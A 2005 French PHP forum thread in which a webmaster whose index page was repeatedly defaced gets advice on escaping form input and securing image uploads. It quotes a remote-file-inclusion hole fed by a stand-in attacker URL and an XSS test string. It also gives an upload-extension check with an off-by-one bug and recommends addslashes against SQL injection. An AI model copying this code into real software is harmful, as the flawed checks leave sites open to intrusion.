code html dans un formulaire

zed
Eléphanteau du PHP | 10 Messages

10 févr. 2005, 22:07

Hello,
(J'ai cherché rapidement dans le manuel PHP sans succés :oops: )
Voici mon pb :
J'ai un textarea, et j'aimerais que le texte saisi ne puisse pas être excecutable si c'est du code...

Je me suis fais piraté plusieurs mon site et je pense que ca vient de la :evil:

Administrateur PHPfrance
Administrateur PHPfrance | 250 Messages

10 févr. 2005, 22:42

bonsoir, qu'appelle tu piraté?
idealement, je te conseilles de ne jamais faire confiance aux données provenant des utilisateurs
enleve les caracteres html interpretables via la fonction htmlspecialchars

formatte les caracteres qui peuvent causer des erreurs de requetes sql via la fonction addslashes

zed
Eléphanteau du PHP | 10 Messages

10 févr. 2005, 23:43

j'entend par "piraté" qu'on a reussi plusieurs fois à me changer le fichier index.php :?


On peut faire de l'upload de photos sur mon site. Ca vient aussi peut etre de la...

ViPHP
fab
ViPHP | 2657 Messages

11 févr. 2005, 00:28

cela peut aussi venir de la faille la plus connu de php
include($_GET['page'] .'.php');
puis permet d'inclure http://[attacker]/change_index

( en gros c'est ça )

zed
Eléphanteau du PHP | 10 Messages

11 févr. 2005, 12:43

Et la solution ? :(

Dux
Eléphant du PHP | 127 Messages

11 févr. 2005, 13:46

salut,
tu as subit soit une injection de code ou carrément de script.

0 la réception de ton textarea, passe le en affichable pour qu'il ne puisse pas être exécuté. htmlspecialchars ou htmlentities
le principe est de ne jamais afficher ce qui vient d'un visiteur sans le protéger car on peut t'envoyer du code de tout type de cette sorte. Pour le tester, essayes de taper ca dedans: <script type="text/javascript">alert("merde ca passe")</script>

Pour ton upload d'image, interdit tout les fichiers pouvant être dangereux et même n'accepte que les images. Pour celà vérifie le $type=$_FILES['ta_variable_de_champ_fichier']['type'];
et en plus l'extension car on peut fausser un type de fichier.
$extensions=explode(".", $fichier);
$vraie_extension=$extensions[count($extensions)];

zed
Eléphanteau du PHP | 10 Messages

11 févr. 2005, 14:10

ok merci je vais essayer ce que tu m'as dis pour les images.

Sinon le texte c'est bon ca fonctionne :D